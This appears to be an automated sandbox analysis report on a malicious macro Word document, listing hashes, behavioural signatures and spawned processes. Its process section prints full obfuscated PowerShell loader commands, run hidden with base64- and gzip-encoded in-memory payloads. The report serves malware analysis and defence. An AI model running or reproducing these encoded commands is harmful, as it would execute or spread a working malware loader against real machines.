Analysis
-
max time kernel
24s -
max time network
28s -
platform
windows10-1703_x64 -
resource
win10-20220812-en -
resource tags
arch:x64arch:x86image:win10-20220812-enlocale:en-usos:windows10-1703-x64system -
submitted
26-09-2022 21:36
Static task
static1
Behavioral task
behavioral1
Sample
unsafe_EvilClippy.docm
Resource
win10-20220812-en
Behavioral task
behavioral2
Sample
unsafe_EvilClippy.docm
Resource
win10v2004-20220901-en
General
-
Target
unsafe_EvilClippy.docm
-
Size
17KB
-
MD5
d2018b6e226daabe52893b2183a2fb58
-
SHA1
f00b9d72ccff4f1a520ce130b61e0f69a3135f97
-
SHA256
6386ba65bb8c9059070cc8438c9922c996d0b5976eca4ba6cb90356f5642e65b
-
SHA512
0da005c560e62d608814d7a666ce644820ec31dc15e6b73d7d3fc568f196778f762839780d5ee84863e0a95f72b2c3014a9a2ca8f76885467835f84d91ef8bf2
-
SSDEEP
384:Y6R7KtGuC5LzV5/Bg5/FAd9pStWbIjFmudxsu63c/khIWYweCoDFn6HUD/:JJCeJ7/Bk/adjSQboxsuN/gIlR6o/
Malware Config
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powershell.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 4208 2456 powershell.exe WINWORD.EXE -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 2456 WINWORD.EXE 2456 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 6 IoCs
Processes:
powershell.exepowershell.exepid process 4208 powershell.exe 4208 powershell.exe 4208 powershell.exe 4952 powershell.exe 4952 powershell.exe 4952 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 4208 powershell.exe Token: SeDebugPrivilege 4952 powershell.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
Processes:
WINWORD.EXEpid process 2456 WINWORD.EXE 2456 WINWORD.EXE 2456 WINWORD.EXE 2456 WINWORD.EXE 2456 WINWORD.EXE 2456 WINWORD.EXE 2456 WINWORD.EXE -
Suspicious use of WriteProcessMemory 5 IoCs
Processes:
WINWORD.EXEpowershell.exedescription pid process target process PID 2456 wrote to memory of 4208 2456 WINWORD.EXE powershell.exe PID 2456 wrote to memory of 4208 2456 WINWORD.EXE powershell.exe PID 4208 wrote to memory of 4952 4208 powershell.exe powershell.exe PID 4208 wrote to memory of 4952 4208 powershell.exe powershell.exe PID 4208 wrote to memory of 4952 4208 powershell.exe powershell.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\unsafe_EvilClippy.docm" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAnAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAnAH0AZQBsAHMAZQB7ACQAYgA9ACQAZQBuAHYAOgB3AGkAbgBkAGkAcgArACcAXABzAHkAcwB3AG8AdwA2ADQAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACcAfQA7ACQAcwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAUwB0AGEAcgB0AEkAbgBmAG8AOwAkAHMALgBGAGkAbABlAE4AYQBtAGUAPQAkAGIAOwAkAHMALgBBAHIAZwB1AG0AZQBuAHQAcwA9ACcALQBuAG8AcAAgAC0AdwAgAGgAaQBkAGQAZQBuACAALQBjACAAJgAoAFsAcwBjAHIAaQBwAHQAYgBsAG8AYwBrAF0AOgA6AGMAcgBlAGEAdABlACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAKAAoACcAJwBIADQAcwBJAEEARgBQAEEASgBHAE0AQwBBADcAVgBXAGIAVwAvAGEAUwBCAEQAKwBmAGwATAAvAGcAMQBVAGgAMgBhAGcARQBtADUAYwAyAFQAYQBSAEsAdAA3AFoAagBvAEEAawBFADQAdgBCAGUAZABOAHsAMQB9AFkAaQA5AGwAbQA3AFMAWAAyAEcAdQB7ADEAfQAwACsAdAA5AHYAMQB1AEMARQBYAHAASQBxAGQAMQBJAHQASgBlAHoATAB6AE8AegBzAE0AOAAvAE0ANwBEAEsATgBQAEUARgA1AHAATwBEADMAdABxAFYAOABmAC8ATwBIAHMAdgAvADYATwBNAGEAaABvAHAAVQBFADIAMQBTAFUAVQBpAHoASwBqADEAdQBsADcARgBMADUAcABHAGgAegB0AEYANwBiAFAATQBRADAAVwBwAHkAZQBXAG0AawBjAGsAMABqAHMANQB0AFUAVwBFAFMAaABKAFMASABqAEQASwBFAG0AMABzAHYASwAzAE0AbAA2AFIAbQBCAHgAZAAzAHsAMAB9AHcAbAB7ADAAfQBsAEMAKwBLADYAVwAvAHEAaQAzAEcAYgB6AEQAJwAnACsAJwAnAGIAaQAyAFUAVwA5AGwAWgBFAE8AJwAnACsAJwAnAFUASwBSAEwALwBjAHUAdQBJAGUAbABWADEAVgAzAHoAYQBqAFEAMQBDADkAZgAxAFAATAA4AHEATABhAG8AewAwAH0AdAAyAGwAbQAnACcAKwAnACcAQwBXAGEANgBtAGEASgAnACcAKwAnACcASQBHAEgAVgBaADAAdwB0AEsAegAvAEsAOABzAEQAewAxAH0AYgBFADAAMAB0AFUAdQA5AG0AQwBkADgASwBhAHAAagBHAGoAWABxADEAVwBHAFUANABDAFgAcABnAGIAVQBOADYAUgBLAHgANAB7ADAAfQA2AGkAdwBsAFUAZQBMAHgATQBUAGsAYwBhAFIAdgBKAE0AMABzAGgAUABSAFYAQgBqADIAWQArADQAaAAzADQAOQBKAGsAcQBnAFYAWgBTADcATgB6AHgAZQBMAFAANwBYADUALwB1AHkAewAxAH0ATgBCAEkAMABKAE4AVgBPAEoARQBqAE0AMQB5ADYASgBOADkAUQBqAFMAYgBXAE4ASQA1ACsAUgBLADcASgBjAGcASgBZAHsAMQB9AFkAaABvAEYAaQAzAEkAWgB4AEQAYgA4AGwAJwAnACsAJwAnAG0AaQBsAEsARwBXAHMAbwB2AHcAWABNADEAcQBQAGIAQQB2AGsAWABxAHUAawBIAFMAcQBCAFYARgAvAEUANQBRAHAARQA4ADgAawB0AHUAOQB4AFAARwBkAHsAMAB9AHAAcQBjACsANABLAGUATgBmAGgAbQAvAEgAQQBVAEQAdQBoAHcAUgB2AFcAYgBBAG0AVABwAC8AaAB6AE8ATgBDADgAYwAzAHoASABRAEwATwBhAHsAMAB9ADIAZQAwAEYAegAxAGsAMgBKAFUAbABDADQAYwBqAEEAVwBQAE0ANQBpAFcAewAxAH0AdQBPAFUAbABCAGMAUABVAEMAdQBsAG0AMABIAGwAdABiAFoAcQBoAFMASwBvAFoAZgBkAGIAOAB3ADcAVwA1AGkATgBPAC8AYwBXAGoAaABaAC8AaQBYAG0ASQBUAHsAMAB9AEcARQBwADkAVABLAE4AYgBiAEsAawBFAGIARwB6AEMASQBmAFUASwA1AGkAcQBQAFIAYwBQAHMAbQBRAGsAUgA2AFIAYQBpAFAAWABBAFIAMAAzAGQAYgB4AEQAZgBKAG8AdwBFAFcARQAnACcAKwAnACcAaQBNAEoAUwAyAGUAcQBKADIARgBWAEQAegBvAG0AaQBsAGwAUABvAG0AUgBCAHoARgBOAHcAQwBzAEkAZAAvAGwAewAwAH0AWgAzAFoAaAAwADkAUgBPADEAQwBVAGgAdwBMAGUAYgBBADAAOQBMAFMAOABnAFAAVQBrAGoAdgBjAHkASQB7ADEAfQBUAHAAZAB6AEUARgBJAHQAJwAnACsAJwAnAGgAcABPAGsAbwB2AFIAVABTAEYAQwB2AG8AewAxAH0AZwBFAE0AKwBKAFgARgBCAFEAbABkAEwAKwBGAFUAcwBIAHoAbwBmAHsAMQB9AG8AYgBqAGQAbABnAHsAMAB9AG8ANABFAFkAVwA1AFIAZgB7ADAAfQBmAGUATwA3AFAAdABYAGkAVQBpAEQAagAxAEkATABLAEEAdwBiAFcANwBKAGgANwBGAFQARQBKAFMAVQBkAHsAMQB9AFUASgAyAGIAbQAwAHEAQQA0AFgAMwAwAFcARQBBAHMAegBCAHEAawBEAGwAagBZAFEARQBGAGkAUgBRAEwAaABDADgAaQBVAEcAVgA0AEUAYgA1AGEAcABMAFIAQwBkAGMATQB4AEsAQwBSAEYANAB2AEgASQBZAEQAcQBBADcANwA5AE0AagBwAGgAUQBQAGkAcQB5AC8ANQBXAFMAVABDAGoAdgBVAFMAbQBRAEsAUwBBAHkAOABoADMAQwA3AGoAbwBxAEsATQBhAEMAeQBnAC8ARQBpAFUAYwA0AHsAMQB9ADkARAB5ACsAZQAxAHAAMgBkAE8AMQBaAE0AOQB1AEgAUgBpAGgAeQBiAG0ANQBtAFEAYQBWAEQAeQB6ACcAJwArACcAJwB1AGkARgA1AE8AawBlAG8AeAB5AFIAVwBBAEEAYQBUAHMAeABEAEUAeQBmAGsAUQAzAE4AWABaAHsAMQB9AFMAMwArAGkAWAB0AEkALwBpAG0AZAB0AHUAZABkAFkAVABiAGgAVAArADcARQB6AEYAYQA2AHcAegB0AFkALwAnACcAKwAnACcALwA4ADgAOQBlADIAVABoAHMAZAAzAHYAVwBzAHAATgA5AHkAUABpAEsANgBEAGIAYgBlAHgAeAA3AHkALwBNADgAKwBPAFgARgBCAGIAagBCAHEAQwBxAHUAUAAyAGcATgBxAG0ATQAyAFYAWgB4AHsAMQB9AFgATQBCADUAMgBSAEsAZgBWAEUAZABNAE8AYQBsACsAdgBQAEcAYgAwADcAYgBiAHUAVABoAE8ARABiAHQAdgBqAHsAMQB9AG0AZQBiADkAOQB0ADYAQQBtAHgAdABOAHQAcwBUAEEAegBVAGEAegBjAHUARwBjAFEAdgA0AFQAVwBrAHQAdQBFAFYAKwBMADYAVABiAGIAeABjAHcAaAB7ADAAfQBwADYAZQBXAEYAMgBFAHQAUABvAHMATABQAFAAMQB0AFgATgB1AE8ANwBNAHgAcQAnACcAKwAnACcAeQB0AE4AJwAnACsAJwAnADUAMwBWAGMAcwB3AFQAOQA4AFAAVQAxAHsAMAB9AFgAOQB4AE0AZAAyAE4AMABQAEkANQBIADYAagBtADAAMQBxAFYALwB5ADYANwBZAFYAbQBNACsAJwAnACsAJwAnAEwANgBpAGQAVwA4AFIAVwBjAEkAVwBkAEgAWgB5AEQASAA1ACsAZABTAE0AVQBWADgAZgA0AFcARABOAHQAKwBlAEIANgBZAFMAQgBoAFUAegBIAG8AMgBRADIARwBEAHsAMQB9AG0AWQBPAEMAWQBhAE4AagA2AGUAbQBlAGYANgBJAEYAKwBNAHAANwBnAGwAVABrAGUAMQBlAGwAcwBQAGIAbABhAHcAZAB6AFoAdABnAGYAewAwAH0AdQB0AEgAcwArAE8AUwBlAHoAJwAnACsAJwAnADcAWQBBAFgASQBzAGoASABGAHkAQgBUAEcARABWAHYAZABVAFMAWgBPAHgAMwB5AEgAegBYADQAMABrAGQAMwA1AG8AYwBtAFMARABqAHoATwA1AFEAYQB6AFYAZABPADMAMABHACsAOQBmAEQATwBrAGMAagAxAHAAdABnAGQARABIAEwASABGADIAdgBUAGYAdABOADEARABiADQAdQBCAFcAZwBBAFkAagBqAHcAJwAnACsAJwAnAEIAeABnAGwARwB6AHMAZQAxAHUAdgBqAFgAegB1AGoAOQAvADMAcABrAHQAOQBOAEcASABIAHUAbQAwAE4AKwBxAHUASgB2AEwATwArAEQAdQBYAC8AYgBkAHMAKwA5ADIAYQAxAHsAMQB9ACcAJwArACcAJwBYAGQANQAvAFAARgBpAFQARQBjAGgAUgAnACcAKwAnACcAMABOAGQASAA3ADAARgBVAHMAeQBIAE4AQgBLAE4AKwBxAEkAawBqAG0AWAB0AGYAUABOAEgAaQBUAFcASABCADcAeAA0AHEAUwAnACcAKwAnACcAZAAwAGMAWgB5AHMATQBBAE8AKwBRAEwAawB2AE0AdABmAGgAcwBiAE8AdgA0AFgAMQBPAHAAWQBhAG0ANQBTACsAQQBXAHgASgBIAGgARQBIAGoAaABOAFoAYQBFAEIANAB4AHgAagAzAFoAUABxAEQAYQBRACsAUABhAHQAUgBQAFoAMwBZAGEAZAAzAEsAUAB7ADAAfQBSAG0AWABsAFEAYgBEADgAMgBGAGEASwBwAGQAUABUAEcAZgBnAEkAKwBTAE8ANQBYAGIAMABnAFUAUwBCAFcARgBlAE4AYgB3AHoAQwBnAEoAeABqAGYAagBHAGEAZQBLAHEAKwAvAG0AYwBYAFgAbQBaAFkAYgBxADgAaQB1AEkAcABFAHAAagBMAFAAYwBPAE4AaQBqAFMAMABYAFQAZgBqADkAWQA4AEcAdwBRAFUATQBKAGUAZwB1AHMAbAA1AE8ARABrAFcAeQBnADQAVQBBAEIAMwBSAFUARABpAFoAMwBMAE8ARAB0AEgAYgBYAGUAdQBCACcAJwArACcAJwBCADQAZgBZAEEAVwBnADEAdQBQAGgAYwB2AGgAZQBBAEkASwBCACsAUgBPADYAVQBrAHAAQQBkADkAYgBCAEQAbAB6AGIAMgA3ADYAWABNAHYAcABDAHQANABNAGYALwBOAFcAVQBlADEAMwA2AHgAKwB5AG8AYQAnACcAKwAnACcARwBaAFUAYwBtAFMAZQB7ADEAfQBQAHkAOABjADkASQBEAGYAZQBQADgAeABwAGcASQBrAFgAUwBqAEgAagBPAHcAZQBDAGMALwBCAHMARQArAFMAZwA5AGgAdQBiAEUAaQBBADUAZgA2AFQATAArAGIATABWAEIAegAxADQAQgBXAFcAdAA0AE4ALwBBAFAANABYAHgAVAB1AHsAMAB9AEMAdwBBAEEAJwAnACkALQBmACcAJwBuACcAJwAsACcAJwByACcAJwApACkAKQApACwAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQApACkALgBSAGUAYQBkAFQAbwBFAG4AZAAoACkAKQApACcAOwAkAHMALgBVAHMAZQBTAGgAZQBsAGwARQB4AGUAYwB1AHQAZQA9ACQAZgBhAGwAcwBlADsAJABzAC4AUgBlAGQAaQByAGUAYwB0AFMAdABhAG4AZABhAHIAZABPAHUAdABwAHUAdAA9ACQAdAByAHUAZQA7ACQAcwAuAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQA9ACcASABpAGQAZABlAG4AJwA7ACQAcwAuAEMAcgBlAGEAdABlAE4AbwBXAGkAbgBkAG8AdwA9ACQAdAByAHUAZQA7ACQAcAA9AFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AFMAdABhAHIAdAAoACQAcwApADsA2⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -c &([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String((('H4sIAFPAJGMCA7VWbW/aSBD+flL/g1Uh2agEm5c2TaRKt7ZjoAkE4vBedN{1}Yi9lm7SX2Gu{1}0+t9v1uCEXpIqd1ItJezLzOzsM8/M7DKNPEF5pOD3tqV8f/OHsv/6OMahopUE21SUUizKj1ul7FL5pGhztF7bPMQ0WpyeWmkck0js5tUWEShJSHjDKEm0svK3Ml6RmBxd3{0}wl{0}lC+K6W/qi3GbzD'+'bi2UW9lZEO'+'UKRL/cuuIelV1V3zajQ1C9f1PL8qLao{0}t2lm'+'CWa6maJ'+'IGHVZ0wtKz/K8sD{1}bE00tUu9mCd8KapjGjXq1WGU4CXpgbUN6RKx4{0}6iwlUeLxMTkcaRvJM0shPRVBj2Y+4h349JkqgVZS7NzxeLP7X5/uy{1}NBI0JNVOJEjM1y6JN9QjSbWNI5+RK7JcgJY{1}YhoFi3IZxDb8l'+'milKGWsovwXM1qPbAvkXqukHSqBVF/E5QpE88ktu9xPGd{0}pqc+4KeNfhm/HAUDuhwRvWbAmTp/hzONC8c3zHQLOa{0}2e0Fz1k2JUlC4cjAWPM5iW{1}uOUlBcPUCulm0HltbZqhSKoZfdb8w7W5iNO/cWjhZ/iXmIT{0}GEp9TKNbbKkEbGzCIfUK5iqPRcPsmQkR6RaiPXAR03dbxDfJowEWE'+'iMJS2eqJ2FVDzomillPomRBzFNwCsId/l{0}Z3Zh09RO1CUhwLebA09LS8gPUkjvcyI{1}TpdzEFIt'+'hpOkovRTSFCvo{1}gEM+JXFBQldL+FUsHzof{1}objdlg{0}o4EYW5Rf{0}feO7PtXiUiDj1ILKAwbW7Jh7FTEJSUd{1}UJ2bm0qA4X30WEAszBqkDljYQEFiRQLhC8iUGV4Eb5apLRCdcMxKCRF4vHIYDqA779MjphQPiqy/5WSTCjvUSmQKSAy8h3C7joqKMaCyg/EiUc4{1}9Dy+e1p2dO1ZM9uHRihybm5mQaVDyz'+'uiF5OkeoxyRWAAaTsxDEyfkQ3NXZ{1}S3+iXtI/imdtuddYTbhT+7EzFa6wztY/'+'/889e2Thsd3vWspN9yPiK6Dbbexx7y/M8+OXFBbjBqCquP2gNqmM2VZx{1}XMB52RKfVEdMOal+vPGb07bbuThODbtvj{1}meb99t6AmxtNtsTAzUazcuGcQv4TWktuEV+L6Tbbxcwh{0}p6eWF2EtPosLPP1tXNuO7Mxq'+'ytN'+'53VcswT98PU1{0}X9xMd2N0PI5H6jm01qV/y67YVmM+'+'L6idW8RWcIWdHZyDH5+dSMUV8f4WDNt+eB6YSBhUzHo2Q2GD{1}mYOCYaNj6emef6IF+Mp7glTke1elsPblawdzZtgf{0}utHs+OSez'+'7YAXIsjHFyBTGDVvdUSZOx3yHzX40kd35ocmSDjzO5QazVdO30G+9fDOkcj1ptgdDHLHF2vTftN1Db4uBWgAYjjw'+'BxglGzse1uvjXzuj9/3pkt9NGHHum0N+quJvLO+DuX/bds+92a1{1}'+'Xd5/PFiTEchR'+'0NdH70FUsyHNBKN+qIkjmXtfPNHiTWHB7x4qS'+'d0cZysMAO+QLkvMtfhsbOv4X1OpYam5S+AWxJHhEHjhNZaEB4xxj3ZPqDaQ+PatRPZ3Yad3KP{0}RmXlQbD82FaKpdPTGfgI+SO5Xb0gUSBWFeNbwzCgJxjfjGaeKq+/mcXXmZYbq8iuIpEpjLPcONijS0XTfj9Y8GwQUMJegusl5ODkWyg4UAB3RUDiZ3LODtHbXeuB'+'B4fYAWg1uPhcvheAIKB+RO6UkpAd9bBDlzb276XMvpCt4Mf/NWUe136x+yoa'+'GZUcmSe{1}Py8c9IDfeP8xpgIkXSjHjOweCc/BsE+Sg9hubEiA5f6TL+bLVBz14BWWt4N/AP4XxTu{0}CwAA')-f'n','r')))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
1KB
MD576c9e19fec0091b9d3550b7a302f96bc
SHA119e22c66c5ee7bf3c318d3c67700833ea554a0e6
SHA2564546f4f12ef7efc120a5eafb0e12667d29f48bb6bbcbbbdd944fc08acab89e10
SHA5124daa6f67d90758c153e7449e7067295a915aed5e62d3f92c6fd6ed0977445c5c31745639304cb30bf6bebb41e532aee5e62d5a00a259f9c2434dcc5b864ecc16
-
memory/2456-115-0x00007FFA65530000-0x00007FFA65540000-memory.dmpFilesize
64KB
-
memory/2456-116-0x00007FFA65530000-0x00007FFA65540000-memory.dmpFilesize
64KB
-
memory/2456-117-0x00007FFA65530000-0x00007FFA65540000-memory.dmpFilesize
64KB
-
memory/2456-118-0x00007FFA65530000-0x00007FFA65540000-memory.dmpFilesize
64KB
-
memory/2456-121-0x00007FFA61AD0000-0x00007FFA61AE0000-memory.dmpFilesize
64KB
-
memory/2456-122-0x00007FFA61AD0000-0x00007FFA61AE0000-memory.dmpFilesize
64KB
-
memory/4208-246-0x0000000000000000-mapping.dmp
-
memory/4208-252-0x000001F0E1180000-0x000001F0E11A2000-memory.dmpFilesize
136KB
-
memory/4208-257-0x000001F0E15D0000-0x000001F0E1646000-memory.dmpFilesize
472KB
-
memory/4952-276-0x0000000000000000-mapping.dmp
-
memory/4952-278-0x00000000777D0000-0x000000007795E000-memory.dmpFilesize
1.6MB
-
memory/4952-279-0x00000000777D0000-0x000000007795E000-memory.dmpFilesize
1.6MB
-
memory/4952-280-0x00000000777D0000-0x000000007795E000-memory.dmpFilesize
1.6MB
-
memory/4952-281-0x00000000777D0000-0x000000007795E000-memory.dmpFilesize
1.6MB
-
memory/4952-284-0x00000000777D0000-0x000000007795E000-memory.dmpFilesize
1.6MB
-
memory/4952-286-0x00000000777D0000-0x000000007795E000-memory.dmpFilesize
1.6MB
-
memory/4952-288-0x00000000777D0000-0x000000007795E000-memory.dmpFilesize
1.6MB
-
memory/4952-290-0x00000000777D0000-0x000000007795E000-memory.dmpFilesize
1.6MB
-
memory/4952-291-0x00000000777D0000-0x000000007795E000-memory.dmpFilesize
1.6MB
-
memory/4952-292-0x00000000777D0000-0x000000007795E000-memory.dmpFilesize
1.6MB
-
memory/4952-294-0x00000000777D0000-0x000000007795E000-memory.dmpFilesize
1.6MB
-
memory/4952-296-0x00000000777D0000-0x000000007795E000-memory.dmpFilesize
1.6MB
-
memory/4952-297-0x00000000777D0000-0x000000007795E000-memory.dmpFilesize
1.6MB
-
memory/4952-298-0x00000000777D0000-0x000000007795E000-memory.dmpFilesize
1.6MB
-
memory/4952-300-0x00000000777D0000-0x000000007795E000-memory.dmpFilesize
1.6MB
-
memory/4952-299-0x00000000777D0000-0x000000007795E000-memory.dmpFilesize
1.6MB
-
memory/4952-301-0x00000000777D0000-0x000000007795E000-memory.dmpFilesize
1.6MB
-
memory/4952-302-0x00000000777D0000-0x000000007795E000-memory.dmpFilesize
1.6MB
-
memory/4952-303-0x00000000777D0000-0x000000007795E000-memory.dmpFilesize
1.6MB
-
memory/4952-304-0x00000000777D0000-0x000000007795E000-memory.dmpFilesize
1.6MB
-
memory/4952-305-0x00000000777D0000-0x000000007795E000-memory.dmpFilesize
1.6MB
-
memory/4952-306-0x00000000777D0000-0x000000007795E000-memory.dmpFilesize
1.6MB
-
memory/4952-308-0x00000000777D0000-0x000000007795E000-memory.dmpFilesize
1.6MB
-
memory/4952-307-0x00000000777D0000-0x000000007795E000-memory.dmpFilesize
1.6MB
-
memory/4952-309-0x00000000777D0000-0x000000007795E000-memory.dmpFilesize
1.6MB
-
memory/4952-310-0x00000000777D0000-0x000000007795E000-memory.dmpFilesize
1.6MB
-
memory/4952-311-0x00000000777D0000-0x000000007795E000-memory.dmpFilesize
1.6MB
-
memory/4952-312-0x00000000777D0000-0x000000007795E000-memory.dmpFilesize
1.6MB
-
memory/4952-313-0x00000000777D0000-0x000000007795E000-memory.dmpFilesize
1.6MB
-
memory/4952-314-0x00000000777D0000-0x000000007795E000-memory.dmpFilesize
1.6MB
-
memory/4952-316-0x00000000777D0000-0x000000007795E000-memory.dmpFilesize
1.6MB
-
memory/4952-317-0x00000000777D0000-0x000000007795E000-memory.dmpFilesize
1.6MB
-
memory/4952-323-0x00000000777D0000-0x000000007795E000-memory.dmpFilesize
1.6MB
-
memory/4952-324-0x0000000004720000-0x0000000004756000-memory.dmpFilesize
216KB
-
memory/4952-325-0x00000000777D0000-0x000000007795E000-memory.dmpFilesize
1.6MB
-
memory/4952-326-0x00000000777D0000-0x000000007795E000-memory.dmpFilesize
1.6MB
-
memory/4952-327-0x00000000777D0000-0x000000007795E000-memory.dmpFilesize
1.6MB
-
memory/4952-328-0x00000000777D0000-0x000000007795E000-memory.dmpFilesize
1.6MB
-
memory/4952-329-0x0000000006EF0000-0x0000000007518000-memory.dmpFilesize
6.2MB
-
memory/4952-330-0x00000000777D0000-0x000000007795E000-memory.dmpFilesize
1.6MB
-
memory/4952-331-0x00000000777D0000-0x000000007795E000-memory.dmpFilesize
1.6MB
-
memory/4952-332-0x00000000777D0000-0x000000007795E000-memory.dmpFilesize
1.6MB
-
memory/4952-333-0x00000000777D0000-0x000000007795E000-memory.dmpFilesize
1.6MB
-
memory/4952-334-0x00000000777D0000-0x000000007795E000-memory.dmpFilesize
1.6MB
-
memory/4952-335-0x00000000777D0000-0x000000007795E000-memory.dmpFilesize
1.6MB
-
memory/4952-336-0x00000000777D0000-0x000000007795E000-memory.dmpFilesize
1.6MB
-
memory/4952-337-0x00000000777D0000-0x000000007795E000-memory.dmpFilesize
1.6MB
-
memory/4952-338-0x00000000777D0000-0x000000007795E000-memory.dmpFilesize
1.6MB
-
memory/4952-339-0x00000000777D0000-0x000000007795E000-memory.dmpFilesize
1.6MB
-
memory/4952-340-0x00000000777D0000-0x000000007795E000-memory.dmpFilesize
1.6MB
-
memory/4952-341-0x00000000777D0000-0x000000007795E000-memory.dmpFilesize
1.6MB
-
memory/4952-343-0x00000000777D0000-0x000000007795E000-memory.dmpFilesize
1.6MB
-
memory/4952-342-0x00000000777D0000-0x000000007795E000-memory.dmpFilesize
1.6MB
-
memory/4952-344-0x00000000777D0000-0x000000007795E000-memory.dmpFilesize
1.6MB
-
memory/4952-345-0x00000000777D0000-0x000000007795E000-memory.dmpFilesize
1.6MB
-
memory/4952-346-0x0000000007590000-0x00000000075B2000-memory.dmpFilesize
136KB
-
memory/4952-347-0x00000000777D0000-0x000000007795E000-memory.dmpFilesize
1.6MB
-
memory/4952-348-0x00000000777D0000-0x000000007795E000-memory.dmpFilesize
1.6MB
-
memory/4952-349-0x0000000007810000-0x0000000007876000-memory.dmpFilesize
408KB
-
memory/4952-350-0x0000000007880000-0x00000000078E6000-memory.dmpFilesize
408KB
-
memory/4952-351-0x0000000007930000-0x0000000007C80000-memory.dmpFilesize
3.3MB
-
memory/4952-352-0x00000000777D0000-0x000000007795E000-memory.dmpFilesize
1.6MB
-
memory/4952-353-0x00000000777D0000-0x000000007795E000-memory.dmpFilesize
1.6MB
-
memory/4952-354-0x00000000777D0000-0x000000007795E000-memory.dmpFilesize
1.6MB
-
memory/4952-358-0x0000000006AA0000-0x0000000006ABC000-memory.dmpFilesize
112KB
-
memory/4952-359-0x0000000007DC0000-0x0000000007E0B000-memory.dmpFilesize
300KB
-
memory/4952-362-0x0000000007FE0000-0x0000000008056000-memory.dmpFilesize
472KB
-
memory/4952-373-0x0000000009800000-0x0000000009E78000-memory.dmpFilesize
6.5MB
-
memory/4952-374-0x0000000008DA0000-0x0000000008DBA000-memory.dmpFilesize
104KB